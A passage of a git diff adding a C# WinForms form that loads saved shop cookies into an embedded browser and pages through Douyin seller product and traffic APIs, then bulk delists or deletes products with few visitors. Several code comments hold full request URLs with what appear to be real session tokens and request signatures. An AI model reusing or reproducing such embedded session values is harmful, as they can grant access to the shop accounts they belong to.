((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).EndInit(); + this.splitContainer4.ResumeLayout(false); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.splitContainer5.Panel1.ResumeLayout(false); + this.splitContainer5.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer5)).EndInit(); + this.splitContainer5.ResumeLayout(false); + this.ucGroupBoxEx3.ResumeLayout(false); + this.ucGroupBoxEx3.PerformLayout(); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.ucGroupBoxEx1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.panelEx1.ResumeLayout(false); + this.ucTabControl1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.TabPage tabPageViolateFileList; + private System.Windows.Forms.SplitContainer splitContainer4; + private DevComponents.DotNetBar.PanelEx btnClear; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnRefreshShop; + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.PanelEx btnGetProduct; + private DevComponents.DotNetBar.PanelEx btnOffLine; + private UserComponent.UcGroupBoxEx ucGroupBoxEx3; + private DevComponents.DotNetBar.PanelEx btnDelete; + private DevComponents.DotNetBar.PanelEx btnStopOperate; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private DevComponents.DotNetBar.PanelEx panelEx1; + private UserComponent.UcTabControl ucTabControl1; + private System.Windows.Forms.TabPage tabPageCheckResult; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.RadioButton rbOffSale; + private System.Windows.Forms.RadioButton rbOnSale; + private DevComponents.DotNetBar.PanelEx btnStopGetProduct; + private System.Windows.Forms.TextBox txtUploadDays; + private System.Windows.Forms.TextBox txtClickPeople; + private System.Windows.Forms.Label lblClickPeople; + private System.Windows.Forms.TextBox txtClickTime; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.TextBox txtOrderCount; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.TextBox txtShowPeopleCount; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox txtShowCount; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.CheckBox chkSkipHasSale; + private System.Windows.Forms.Label lblProductName; + private System.Windows.Forms.TextBox txtProductName; + private System.Windows.Forms.TextBox txtSaleMax; + private System.Windows.Forms.TextBox txtSaleMin; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.TextBox txtPriceMax; + private System.Windows.Forms.TextBox txtPriceMin; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.CheckBox chkUploadDays; + private System.Windows.Forms.SplitContainer splitContainer5; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.DataGridViewCheckBoxColumn colCanUse; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private System.Windows.Forms.TextBox txtOperateCount; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label9; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbSource; + private DevComponents.Editors.ComboItem comboItem1; + private DevComponents.Editors.ComboItem comboItem2; + private DevComponents.Editors.ComboItem comboItem3; + private System.Windows.Forms.Label label11; + private DevComponents.DotNetBar.PanelEx panelEx2; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorForm.cs b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorForm.cs new file mode 100644 index 0000000..d3ae6f7 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopOptimizeForms/ClearNoVisitorForm.cs @@ -0,0 +1,737 @@ +using AllBase; +using AllBase.Extension; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.DashBoardForms; +using LittleRabbit.Extension; +using LittleRabbit.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.DouyinApiClass; + +namespace LittleRabbit.LittleRabbitForms.ShopOptimizeForms +{ + public partial class ClearNoVisitorForm : Form + { + private CheckBox chkSelectAll = null; + public ChromiumWebBrowser webBrowser = null; + private List lstShopId = new List(); + public List keywords = null; + public CancellationTokenSource cancellationTokenSource = null; + bool onSale = true; + + public ClearNoVisitorForm() + { + InitializeComponent(); + } + + private void ClearNoVisitorForm_Load(object sender, EventArgs e) + { + this.ucTabControl1.TabPages.Clear(); + + chkSelectAll = dgvShop.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvShop.Columns["colSelect"].HeaderText = ""; + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + lstShopId.Clear(); + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + lstShopId.Clear(); + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && s.LoginStatus == "登录成功").Select(ss => ss.ShopAccountId); + lstShopId.AddRange(list); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + private void ClearNoVisitorForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible == true) + RefreshShop(); + } + + private void btnRefreshShop_Click(object sender, EventArgs e) + { + RefreshShop(); + } + + private void RefreshShop() + { + // 更新选中的上货店铺Id + lstShopId = lstShopId.Where(id => GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == id && s.LoginStatus == "已授权")).ToList(); + // 获取被删除的店铺 + List dgvRowList = dgvShop.Rows.Cast().Where(row + => !GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == row.Cells["colShopId"]?.Value?.ToString())).ToList(); + // 更新被删除的店铺列表 + foreach (var row in dgvRowList) + { + dgvShop.Rows.Remove(row); + } + // 绑定其他店铺(含新导入的店铺) + foreach (DouShopLoginInfo shopEntity in GlobalConfig.DouShopLoginList) + { + BindShop(shopEntity); + } + } + + private void BindShop(DouShopLoginInfo shopEntity) + { + if (shopEntity == null) + return; + + bool canUse = shopEntity.ApiAuthStatus == "授权成功" && shopEntity.LoginStatus == "登录成功"; + var row = dgvShop.Rows.Cast().FirstOrDefault(p => p.Cells.GetCellValueFromColumnName("colShopId").ParseToString() == shopEntity.ShopAccountId); + if (row == null) + { + this.dgvShop.Rows.Add( + lstShopId.Contains(shopEntity.ShopAccountId) && canUse, + shopEntity.ShopAccountId, + shopEntity.ShopAccount, + shopEntity.ApiAuthStatus, + shopEntity.LoginStatus, + canUse, + string.Empty + ); + } + else + { + row.Cells["colSelect"].Value = lstShopId.Contains(shopEntity.ShopAccountId) && canUse; + row.Cells["colShopName"].Value = shopEntity.ShopAccount; + row.Cells["colAuthStatus"].Value = shopEntity.ApiAuthStatus; + row.Cells["colLoginStatus"].Value = shopEntity.LoginStatus; + row.Cells["colCanUse"].Value = canUse; + } + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvShop.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvShop.Columns[e.ColumnIndex].Name; + long shopId = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ParseToLong(); + string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId.ToString()); + var row = dgvShop.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + if (row.Cells["colCanUse"].Value.ParseToBool()) + { + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + if (dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + lstShopId.Add(shopId.ToString()); + else + lstShopId.Remove(shopId.ToString()); + if (dgvShop.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + chkSelectAll.Checked = false; + } + else + { + BaseMsgForm.ShowInfo("店铺未授权或未登录!"); + } + break; + } + } + + private void btnGetProduct_Click(object sender, EventArgs e) + { + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺!"); + return; + } + try + { + this.keywords = txtProductName.Text.Split(new string[] { ",", "\r\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + } + catch (Exception ex) + { + } + + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + ClearNoVisitorShopForm clearForm = null; + Invoke(new Action(() => + { + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + if (tab == null) + { + tab = new TabPage(); + tab.Name = "tab" + shop.ShopAccountId; + tab.Text = shop.ShopAccount; + this.ucTabControl1.TabPages.Add(tab); + + var clearNoVisitorShopForm = new ClearNoVisitorShopForm(shop); + clearNoVisitorShopForm.clearNoVisitorForm = this; + clearNoVisitorShopForm.TopLevel = false; + clearNoVisitorShopForm.Left = 0; + clearNoVisitorShopForm.Top = 0; + clearNoVisitorShopForm.FormBorderStyle = FormBorderStyle.None; + clearNoVisitorShopForm.AutoSize = true; + clearNoVisitorShopForm.Dock = DockStyle.Fill; + clearNoVisitorShopForm.Show(); + tab.Controls.Add(clearNoVisitorShopForm); + } + + if (tab.Controls.Count > 0) + clearForm = tab.Controls[0] as ClearNoVisitorShopForm; + })); + + if (clearForm != null) + { + clearForm.productTradeIndexList.Clear(); + clearForm.GetProduct(onSale, txtPriceMin.Text.ParseToDecimal(), txtPriceMax.Text.ParseToDecimal(), + txtSaleMin.Text.ParseToInt(), txtSaleMax.Text.ParseToInt(), + txtProductName.Text.Trim().Split(new string[] { "\r", "\n", "," }, StringSplitOptions.RemoveEmptyEntries).ToList()); + } + } + }, cancellationTokenSource.Token); + } + + public void GetSalesOrVisitor(DouShopLoginInfo shop, bool isSales = true) + { + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + CustomResourceRequestHandlerLocal resourceRequestHandler = new CustomResourceRequestHandlerLocal(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadCompleteEvent; + webBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + webBrowser.LifeSpanHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + webBrowser.SendToBack(); + this.splitContainer1.Panel2.Controls.Add(webBrowser); + })); + } + + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + if (cancellationTokenSource.IsCancellationRequested) + return; + + webBrowser.Tag = shop; + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + Thread.Sleep(500); + + var targetUrl = "https://fxg.jinritemai.com/ffa/g/list"; + if (!isSales) + targetUrl = "https://fxg.jinritemai.com/ffa/mshop/homepage/index"; + webBrowser.Load(targetUrl); + + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(3000); + + if (!isSales) + { + Thread.Sleep(3000); + var jsStrBase = "function clickProductAnalysis(txt) {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_element';\r\n" + + "}\r\n"; + var jsStr = jsStrBase + "clickProductAnalysis('电商罗盘');\r\n"; + t = webBrowser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(Randomx.GetId(1500, 2500)); + + jsStr = jsStrBase + "clickProductAnalysis('商品概览');\r\n"; + t = webBrowser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(Randomx.GetId(1500, 2500)); + } + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + Thread.Sleep(3000); + } + + + private void RequestHandler_ResourceLoadCompleteEvent(object sender, string url, string postData, string responseData, CefSharp.IRequest iRequest) + { + if (url.StartsWith("https://fxg.jinritemai.com/product/tproduct/list?page=0") && url.Contains("&pay_type=")) + { + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://fxg.jinritemai.com/product/tproduct/list?page=0&pageSize=20&draft_status=0&comment_percent=&group_id=&pay_type=&business_type=4&is_online=1&check_status=3&status=0&supply_status=&order_field=audit_time&sort=desc&appid=1&__token=d08f30493d071fd0e9897298c524375c&_bid=ffa_goods&_lid=711798986796&msToken=r9mNuOXDYvbtInAwLzMATC3-yIiWLcZs25f-Jt5shVW8LdugFOlMdPFOYS3_UVXhRuB7RMC4LmK-pvyBrDfSopZsXXC8yQoEGVlat6UUrxINeKzsHyLW614=&X-Bogus=DFSzsdVLBvbANcMUSU8IvKXAIQRU&_signature=_02B4Z6wo000015pLnBgAAIDC-UFcc3lE05uaT5iAAIT9acBVIU6ij4-5DpO00qPB80yCit9yg5fMFBGG9MpPGrriZuj0AXpdbbUerWeM9eMoD3aCNPK8iJeLeNxDBbAP4e3pFFOcMuEX84BO85"); + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://fxg.jinritemai.com/product/tproduct/list?page=0&pageSize=20&group_id=&offline_type=&pay_type=&business_type=4&is_online=1&status=1&supply_status=&order_field=offline_time&sort=desc&appid=1&__token=d08f30493d071fd0e9897298c524375c&_bid=ffa_goods&_lid=711769550666&msToken=79CxZTCGdJBocG27LuxPm9gT0QBCKI1GNci1u0AerFDnmLK0qMkau2ARZcFJx03cw2o5D5CySkojV6UCZ_riv2N36usyvdjsS2jvfE_6Z7k2sUsC2U7hJwo=&X-Bogus=DFSzsdVL5HiANcMUSU8IvVXAIQRG&_signature=_02B4Z6wo00001fJb96wAAIDAkVE3xAcLXS3yX.MAAB7zacBVIU6ij4-5DpO00qPB80yCit9yg5fMFBGG9MpPGrriZuj0AXpdbbUerWeM9eMoD3aCNPK8iJeLeNxDBbAP4e3pFFOcMuEX84BO1e"); + + var listUrl = url; + var referrerUrl = iRequest.ReferrerUrl; + var result = responseData; + Dictionary Headers = new Dictionary(); + foreach (var hk in iRequest.Headers.AllKeys) + { + Headers[hk] = iRequest.Headers[hk]; + } + if (webBrowser.Tag != null) + { + var shop = webBrowser.Tag as DouShopLoginInfo; + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + var clearForm = tab.Controls[0] as ClearNoVisitorShopForm; + + Task.Run(() => + { + int total = -1; + int number = 0; + for (int i = 0; i < 10000; i++) + { + number += 20; + result = ""; + for (int j = 0; j < 3 && !result.Contains("\"st\":0"); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (Headers.ContainsKey("Accept")) + simRequest.Accept = Headers["Accept"]; + if (Headers.ContainsKey("UserAgent")) + simRequest.UserAgent = Headers["UserAgent"]; + var cookie = shop.Cookies; + + //"https://fxg.jinritemai.com/product/tproduct/list?page=0&pageSize=20&group_id=&offline_type=&pay_type=&business_type=4&is_online=1&status=0&supply_status=&order_field=audit_time&sort=desc&appid=1&__token=d08f30493d071fd0e9897298c524375c&_bid=ffa_goods&_lid=711798986796&msToken=r9mNuOXDYvbtInAwLzMATC3-yIiWLcZs25f-Jt5shVW8LdugFOlMdPFOYS3_UVXhRuB7RMC4LmK-pvyBrDfSopZsXXC8yQoEGVlat6UUrxINeKzsHyLW614=&X-Bogus=DFSzsdVLBvbANcMUSU8IvKXAIQRU&_signature=_02B4Z6wo000015pLnBgAAIDC-UFcc3lE05uaT5iAAIT9acBVIU6ij4-5DpO00qPB80yCit9yg5fMFBGG9MpPGrriZuj0AXpdbbUerWeM9eMoD3aCNPK8iJeLeNxDBbAP4e3pFFOcMuEX84BO85"); + //"https://fxg.jinritemai.com/product/tproduct/list?page=0&pageSize=20&group_id=&offline_type=&pay_type=&business_type=4&is_online=1&status=1&supply_status=&order_field=offline_time&sort=desc&appid=1&__token=d08f30493d071fd0e9897298c524375c&_bid=ffa_goods&_lid=711769550666&msToken=79CxZTCGdJBocG27LuxPm9gT0QBCKI1GNci1u0AerFDnmLK0qMkau2ARZcFJx03cw2o5D5CySkojV6UCZ_riv2N36usyvdjsS2jvfE_6Z7k2sUsC2U7hJwo=&X-Bogus=DFSzsdVL5HiANcMUSU8IvVXAIQRG&_signature=_02B4Z6wo00001fJb96wAAIDAkVE3xAcLXS3yX.MAAB7zacBVIU6ij4-5DpO00qPB80yCit9yg5fMFBGG9MpPGrriZuj0AXpdbbUerWeM9eMoD3aCNPK8iJeLeNxDBbAP4e3pFFOcMuEX84BO1e"); + + var rUrl = listUrl.Replace("page=0", "page=" + i) + .Replace("&pay_type=", "&pay_type=&sell_num_min=1"); + if (!onSale) + rUrl = rUrl.Replace("&draft_status=0&comment_percent=", "") + .Replace("&group_id=", "&group_id=&offline_type=") + .Replace("&check_status=3", "") + .Replace("&status=0", "&status=1") + .Replace("&order_field=audit_time", "&order_field=offline_time"); + result = simRequest.Request_Get(rUrl, referrerUrl, new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(2000, 3000)); + } + } + + if (result.Contains("\"st\":0") && !cancellationTokenSource.IsCancellationRequested) + { + clearForm.isGetProductSalesSuccess = true; + + if (total == -1) + { + total = BaseRegex.GetIntJson(ref result, "total"); + } + var jObj = JObject.Parse(result); + var jArr = jObj["data"] as JArray; + foreach (var productObj in jArr) + { + var prod = JsonHelper.SerializeObject(productObj); + var pId = BaseRegex.GetStringJson(ref prod, "product_id"); + var sales = BaseRegex.GetIntJson(ref prod, "sell_num"); + if (sales == 0) + { + number = 99999999; + break; + } + else + { + clearForm.dicProductSales[pId] = sales; + } + } + Thread.Sleep(Randomx.GetId(2000, 3000)); + } + else + { + clearForm.isGetProductSalesSuccess = false; + webBrowser.Tag = null; + break; + } + + if (number >= total) + break; + } + + webBrowser.Tag = null; + Thread.Sleep(1000); + }); + } + else + { + webBrowser.Tag = null; + } + } + + if (url.StartsWith("https://compass.jinritemai.com/compass_api/shop/product/product_overview/all_rank")) + { + var listUrl = url; + var referrerUrl = iRequest.ReferrerUrl; + var result = responseData; + Dictionary Headers = new Dictionary(); + foreach (var hk in iRequest.Headers.AllKeys) + { + Headers[hk] = iRequest.Headers[hk]; + } + if (webBrowser.Tag != null) + { + var shop = webBrowser.Tag as DouShopLoginInfo; + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + var clearForm = tab.Controls[0] as ClearNoVisitorShopForm; + + Task.Run(() => + { + var cookies = CEFBrowser.GetCookie("", webBrowser.RequestContext.GetCookieManager(null)); + int total = -1; + int number = 0; + for (int i = 1; i < 10000; i++) + { + number += 50; + result = ""; + for (int j = 0; j < 5 && !result.Contains("\"st\":0"); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (Headers.ContainsKey("Accept")) + simRequest.Accept = Headers["Accept"]; + if (Headers.ContainsKey("UserAgent")) + simRequest.UserAgent = Headers["UserAgent"]; + var cookie = cookies; + + //https://compass.jinritemai.com/compass_api/shop/product/product_overview/all_rank?end_date=1650931200&begin_date=1648425600&date_type=23&page_no=1&page_size=10&begin_date_format=2022-03-28T08%3A00%3A00%2B08%3A00&_lid=290001084171 + //https://compass.jinritemai.com/compass_api/shop/product/product_overview/all_rank?end_date=1650818094&begin_date=1648312494&date_type=23&page_no=2&page_size=50&index_selected=dh_product_click_pv%2Cdh_product_click_uv%2Cdh_product_show_pv%2Cdh_product_show_uv%2Cpay_cnt&begin_date_format=2022-03-27T00%3A34%3A54%2B08%3A00&_lid=909805182404"); + + var rUrl = listUrl.Replace("page_no=1", "page_no=" + i) + .Replace("page_size=10", "page_size=50&index_selected=dh_product_click_pv%2Cdh_product_click_uv%2Cdh_product_show_pv%2Cdh_product_show_uv%2Cpay_cnt"); + + var endTime = BaseRegex.GetMatchRegexString(ref listUrl, "end_date=(\\d{2,30})"); + var beginTime = BaseRegex.GetMatchRegexString(ref listUrl, "begin_date=(\\d{2,30})"); + var beginTimeFormat = BaseRegex.GetMatchRegexString(ref listUrl, "begin_date_format=([\\s\\S]+?)&"); + if (!string.IsNullOrEmpty(endTime) && !string.IsNullOrEmpty(beginTime) && !string.IsNullOrEmpty(beginTimeFormat)) + { + Invoke(new Action(() => + { + if (cmbSource.Text == "近7天") + { + var newBeginTime = (endTime.ParseToInt() - 60 * 60 * 24 * 6).ToString(); + var beginDatetime = BaseClass.StampToDateTime(newBeginTime.ParseToInt()); + var newBeginTimeFormat = beginDatetime.ToString("s") + beginDatetime.ToString("zzz"); + rUrl = rUrl.Replace("date_type=23", "date_type=21").Replace(beginTime, newBeginTime) + .Replace(beginTimeFormat, GetHtml.UrlEncodeUtf8(newBeginTimeFormat)); + } + else if (cmbSource.Text == "近1天") + { + var newBeginTime = endTime; + var beginDatetime = BaseClass.StampToDateTime(newBeginTime.ParseToInt()); + var newBeginTimeFormat = beginDatetime.ToString("s") + beginDatetime.ToString("zzz"); + rUrl = rUrl.Replace("date_type=23", "date_type=2").Replace(beginTime, newBeginTime) + .Replace(beginTimeFormat, GetHtml.UrlEncodeUtf8(newBeginTimeFormat)); + } + })); + } + + result = simRequest.Request_Get(rUrl, referrerUrl, new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(2000, 3000)); + } + } + + if (result.Contains("\"st\":0") && result.Contains("\"data\"") && result.Contains("\"data_result\"") && !cancellationTokenSource.IsCancellationRequested) + { + clearForm.isGetProductVisitorSuccess = true; + + if (total == -1) + { + total = BaseRegex.GetIntJson(ref result, "total"); + if (total > 10000) + total = 10000; + } + var jObj = JObject.Parse(result); + var data_result = jObj["data"]["data_result"].ToString(); + var listTemp = JsonHelper.DeserializeJsonToList(data_result); + clearForm.productTradeIndexList.AddRange(listTemp); + clearForm.productTradeIndexList = clearForm.productTradeIndexList.DistinctBy(p => p.product_id).ToList(); + + clearForm.ShowVisitorMessage("流量数据获取中:" + i + "/" + Math.Ceiling(total / 50M)); + + Thread.Sleep(Randomx.GetId(2000, 3000)); + } + else + { + clearForm.isGetProductVisitorSuccess = false; + webBrowser.Tag = null; + break; + } + + if (number >= total) + break; + } + + webBrowser.Tag = null; + Thread.Sleep(1000); + }); + } + else + { + webBrowser.Tag = null; + } + } + } + + private void btnStopGetProduct_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + } + + private void rbOnSale_CheckedChanged(object sender, EventArgs e) + { + this.onSale = rbOnSale.Checked; + } + + private void lblProductName_DoubleClick(object sender, EventArgs e) + { + if (this.webBrowser != null) + { + webBrowser.BringToFront(); + } + } + + private void lblProductName_Click(object sender, EventArgs e) + { + if (this.webBrowser != null) + { + webBrowser.SendToBack(); + } + } + + private void btnOffLine_Click(object sender, EventArgs e) + { + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + int i = 0; + List tList = new List(); + foreach (TabPage tp in ucTabControl1.TabPages) + { + i++; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在下架"; + this.statusBar.pgbTaskProgress.Value = i; + this.statusBar.pgbTaskProgress.Text = i + "/" + ucTabControl1.TabPages.Count; + this.statusBar.pgbTaskProgress.Maximum = ucTabControl1.TabPages.Count; + })); + + if (tp.Controls.Count > 0) + { + var clearForm = tp.Controls[0] as ClearNoVisitorShopForm; + if (clearForm != null) + { + int days = this.txtUploadDays.Text.ParseToInt(); + if (days < 0 || chkUploadDays.Checked == false) + days = 0; + var t = Task.Run(() => + { + clearForm.OffLineProduct(chkSkipHasSale.Checked, days, txtShowCount.Text.ParseToInt(), txtShowPeopleCount.Text.ParseToInt(), + txtOrderCount.Text.ParseToInt(), txtClickTime.Text.ParseToInt(), txtClickPeople.Text.ParseToInt(), txtOperateCount.Text.ParseToInt()); + }); + tList.Add(t); + if (tList.Count >= 10) + Task.WaitAny(tList.ToArray()); + + var ts = tList.Where(t1 => t1.IsCompleted || t1.IsCanceled || t1.IsFaulted); + foreach (var t1 in ts) + { + tList.Remove(t1); + } + } + } + } + Task.WaitAll(tList.ToArray()); + tList.Clear(); + + Invoke(new Action(() => + { + if (cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "下架中断"; + } + else + { + this.statusBar.lblTaskStatus.Text = "下架完成"; + } + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + this.statusBar.pgbTaskProgress.Maximum = 0; + })); + }, cancellationTokenSource.Token); + } + + private void btnDelete_Click(object sender, EventArgs e) + { + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + int i = 0; + List tList = new List(); + foreach (TabPage tp in ucTabControl1.TabPages) + { + i++; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在删除"; + this.statusBar.pgbTaskProgress.Value = i; + this.statusBar.pgbTaskProgress.Text = i + "/" + ucTabControl1.TabPages.Count; + this.statusBar.pgbTaskProgress.Maximum = ucTabControl1.TabPages.Count; + })); + + if (tp.Controls.Count > 0) + { + var clearForm = tp.Controls[0] as ClearNoVisitorShopForm; + if (clearForm != null) + { + int days = this.txtUploadDays.Text.ParseToInt(); + if (days < 0 || chkUploadDays.Checked == false) + days = 0; + var t = Task.Run(() => + { + clearForm.DeleteProduct(chkSkipHasSale.Checked, days, txtShowCount.Text.ParseToInt(), txtShowPeopleCount.Text.ParseToInt(), + txtOrderCount.Text.ParseToInt(), txtClickTime.Text.ParseToInt(), txtClickPeople.Text.ParseToInt(), txtOperateCount.Text.ParseToInt()); + }); + tList.Add(t); + if (tList.Count >= 10) + Task.WaitAny(tList.ToArray()); + + var ts = tList.Where(t1 => t1.IsCompleted || t1.IsCanceled || t1.IsFaulted); + foreach (var t1 in ts) + { + tList.Remove(t1); + } + } + } + } + Task.WaitAll(tList.ToArray()); + tList.Clear(); + + Invoke(new Action(() => + { + if (cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "删除中断"; + } + else + { + this.statusBar.lblTaskStatus.Text = "删除完成"; + } + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + this.statusBar.pgbTaskProgress.Maximum = 0; + })); + }, cancellationTokenSource.Token); + } + + private void btnStopOperate_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + } + + private void btnClear_Click(object sender, EventArgs e) + { + if (BaseMsgForm.ShowConfirm("确定要清空结果吗?清空后需要重新获取!").DialogResult == DialogResult.OK) + { + foreach (TabPage tp in ucTabControl1.TabPages) + { + if (tp.Controls.Count > 0) + { + var clearForm = tp.Controls[0] as ClearNoVisitorShopForm; + if (clearForm != null) + { + clearForm.ClearData(); + } + } + } + } + } + + private void panelEx2_Click(object sender, EventArgs e) + { + foreach (var shopId in lstShopId) + { + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + 